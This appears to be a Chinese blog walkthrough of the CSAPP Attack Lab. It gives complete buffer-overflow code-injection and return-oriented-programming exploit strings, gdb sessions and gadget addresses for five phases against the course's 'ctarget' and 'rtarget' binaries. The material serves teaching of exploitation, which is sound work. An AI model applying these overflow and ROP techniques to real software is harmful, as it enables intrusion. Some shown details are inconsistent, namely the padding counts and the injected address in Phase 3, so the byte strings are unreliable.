1. 程式人生 > >CSAPP 3e Attack lab

CSAPP 3e Attack lab

總結一下CSAPP第三版的各個lab。
這裡介紹的是Attack lab,主要考察code-injection、return-oriented-programming攻擊的理解,和gdb,objdump的簡單使用。

首先登陸網站http://csapp.cs.cmu.edu/3e/labs.html。Windows下點選Self-Study Handout獲取壓縮包。我的工作環境是ubuntu,64位作業系統,使用wget指令直接下載。(chrome點選F12選取元素獲取下載地址)tar解壓。

這個實驗主要是針對第三版的二三章,關於緩衝區溢位攻擊的練習。與第二版不同之處在於增加了ROP(Return-Oriented Programming)的攻擊手段。單純的緩衝區溢位攻擊容易受到堆疊隨機化,金絲雀防護的制約。而ROP攻擊利用程式中已有的彙編程式碼片段組合出需要執行的指令。推薦

http://drops.wooyun.org/tips/3071這篇文章,進一步講述了Blind Return Oriented Programming (BROP) Attack。看完之後如果感覺理解有困難,可以瀏覽一遍http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf
這裡假定已經大致瀏覽過說明,對各個檔案的內容有了解。
簡要 說明一下:

  • cookie.txt:存放你攻擊用的識別符號
  • rtarget:執行return-oriented-programming攻擊的程式
  • ctarget:執行code-injection攻擊的程式
  • farm.c:“gadget farm產生程式碼片段用的
  • hex2raw:生成攻擊字串用的

實驗分為5個部分。

Phase 1
首先反彙編可執行程式,生成彙編程式碼。
objdump -d ctarget > ctarget.d
這一關的任務是從test函式跳轉到touch1,。
test如下:

void test() {
      int val;
      val = getbuf();
      printf("No exploit. Getbuf returned 0x%x\n", val);
}

彙編如下:

test:

0000000000401968 <test>:                                                                                     
  401968
: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 <getbuf> 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp

這裡根據提示直接溢位覆蓋getbuf的緩衝區,填寫touch1的地址空間即可。

getbuf:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop  
  4017bf:   90                      nop 

touch1:

00000000004017c0 <touch1>:                                                                                              
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

buf的起始地址為%rsp,然後大小為0x28(40)位元組,只要填充著四十個位元組之後,追加touch1的地址作為返回地址即可:0x4017c0。64位地址格式,高位補充0,完整地址為0x00000000004017c0。注意寫彙編時的大小端問題!!!直接看程式碼就可以看出是小端。

4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi

或者使用gdb除錯一下:
b設定斷點,r為執行,加引數-q是因為實驗為本地實驗,不提交。x輸出一下rsp暫存器內容,x/b顯示單位元組,可以看到是從高位開始。

gdb ctarget 
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) x/gx $rsp
0x5561dcb0:     0x0000000000401f24
(gdb) x/b
0x5561dcb8:     0x00
(gdb) 

因為是小端模式,所以追加的地址格式為c0 17 40 00 00 00 00 00。vim一個txt或者hex檔案,內容如下(30換成CC什麼的也可以):

30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00 

然後呼叫下面命令檢視結果(參考說明書有其他寫法):

cat ctarget11.txt | ./hex2raw | ./ctarget -q 

Phase 2
第二關在第一關的基礎上增加了引數傳遞。
下面是touch2程式碼:

 void touch2(unsigned val)
  {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
         printf("Touch2!: You called touch2(0x%.8x)\n", val);
         validate(2);
     } else {
         printf("Misfire: You called touch2(0x%.8x)\n", val);
         fail(2);
     }
     exit(0);
 }

touch2彙編:

00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp                                                                    
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>

首先彙編函式的第一個引數儲存在%edi中,所以我們的目標就是把cookie值儲存到%edi中,然後跳轉到touch2。注入程式碼如下:

  movq $0x59b997fa,%rdi
  pushq $0x004017ec         
  retq  

這裡可以把用gcc和objdump把彙編程式碼翻譯為機器碼。以上程式碼儲存為insertValue.s 。

gcc -c insertValue.s
objdump -d insertValue.o  > insertValue.d 

得到如下機器碼:

insertValue.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

然後使用上述位元組碼,填充到40位元組,追加%rsp的地址作為返回地址,來執行這些程式碼。
下面使用gdb獲取%rsp地址。在getbuf中的Gets那裡打一個斷點,檢視一下rsp地址。

gdb ctarget
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info registers
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x3a676e6972747320       4208453775971873568
rdx            0xc      12
rsi            0x7ffff7dd59e0   140737351866848
rdi            0x5561dc78       1432476792
rbp            0x55685fe8       0x55685fe8
rsp            0x5561dc78       0x5561dc78
r8             0x0      0
r9             0x4032b4 4207284
r10            0x7ffff7fe0740   140737354008384
r11            0x7ffff7aa15c0   140737348507072
r12            0x2      2
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x4017af 0x4017af <getbuf+7>
eflags         0x216    [ PF AF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

或者使用

(gdb) ctarget

(gdb) b *(getbuf+14)
(gdb) run -q
Starting program

(gdb) p/x $rsp

這裡可以看到地址為0x5561dc78,所以我們得到如下檔案ctarget21.txt:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00       

然後呼叫下面命令檢視結果(參考說明書有其他寫法):

cat ctarget21.txt | ./hex2raw | ./ctarget -q 

Phase 3
這一關需要把cookie轉化成字串傳遞到touch3.

 void touch3(char *sval)
 {
     if (hexmatch(cookie, sval)) {
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
     } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
     exit(0);
 }

注意這裡的問題,首先是cookie的存放位置,如果存放到buf裡,那接下來的hexmatch可能會覆蓋它的堆疊,但是buf的父堆疊是安全的,我們把touch3的地址放到父堆疊的頂部就可以了。

我們首先構造注入程式碼,touch3的地址為0x4018fa,根據上一關我們已經得到的%rsp地址0x5561dc78,返回地址應為%rsp+0x28(儲存程式碼執行地址的位置),然後字串地址應為%rsp+0x30(48).

movq $0x5561dc98,%rdi                                                                                                   
pushq $0x004018fa
retq
~                                        

儲存為bufInsert.s(原諒我亂起的名字,要知道,變數命名是程式設計師第一難題)。

gcc -c bufInsert.s
objdump -d bufInsert.o  > bufInsert.d 

得到如下程式碼:

   0:   48 c7 c7 98 dc 61 55    mov    $0x5561dc98,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq   

接著構造字串,我的cookie是0x59b997fa,這裡需要轉換成ASCII格式,使用man ascii檢視即可,我的對應ascii碼為35 39 62 39 39 37 66 61 00。

總結一下,檔案應該有以下幾個部分,首先是注入的程式碼以及填充位元組,然後是注入程式碼的地址,最後是字串。構造ctarget31.txt如下:

48 c7 c7 a8 dc 61 55 68 fa 18                                                                                           
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00  
35 39 62 39 39 37 66 61 00

執行:

cat ctarget31.txt | ./hex2raw | ./ctarget -q

對啦!!看一下成功的樣例:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

Phase 4
下面的兩關都是使用ROP攻擊的例子了,因為棧隨機化,所以不能使用固定的%rsp地址跳轉,有些區域還會禁止程式碼可執行,這裡使用ROP,用程式自身的程式碼片段來構造攻擊。

這裡的目標和Phase2一樣,傳遞cookie(0x59b997fa)到touch2(0x4017ec)。
就是如何把cookie傳遞到%edi裡面的問題,最簡單的想法是把cookie存到%rsp裡面,然後彈出,但是沒有找到 popq %$rdi(位元組碼5f,查詢開始的pdf手冊可得)。但是找到了代表popq %rax的位元組碼58。程式碼地址如下(objdump rtarget可得):

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

地址為0x4019ab,gadget1!!!!

後續動作可以利用下面程式碼完成:

    popq %rax
    movq %rax %edi
    ret 

movq %rax %edi位元組碼為48 89 c7 c3
在下面這段程式碼找到:

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq

起始地址為0x4019c5,gadget2

總結一下,檔案應該包含以下幾部分,首先是填充區,然後是gadget的返回地址,cookie,gadget2的返回地址,touch2的地址。構造ctarget4.txt檔案如下:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00  
c5 19 40 00 00 00 00 00  
ec 17 40 00 00 00 00 00  

執行:

cat ctarget4.txt | ./hex2raw | ./rtarget -q

Phase 5
這一關目標和Phase3一樣,使用cookie構造字串傳遞到touch3,使用rop的攻擊手段。
首先尋找和%rsp相關的程式碼。
4889e0 movq %rsp, %rax
找到如下片段:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

第一個gadget1地址為0x401aad

接下來我們需要一個可以遞增%rax的程式碼片段來指向我們的cookie地址。
找到代表add $0x37, %al04 37

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

第二個gadget2地址為0x4019d8
接下來需要%rax內容移動到%rdi中,找到代表mov %rax, %rdi48 89 c7
片段如下:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

第三個gadget3地址為0x4019a2

現在總結一下,攻擊的檔案應該有如下部分,填充區1,gadget1,gadget2,gadget3,touch3的地址,填充區2,cookie。第二個填充區的大小為55(0x37)-3*8=31位元組。最後構造檔案ctarget5.txt如下:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00  
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00

執行:

cat ctarget5.txt | ./hex2raw | ./rtarget -q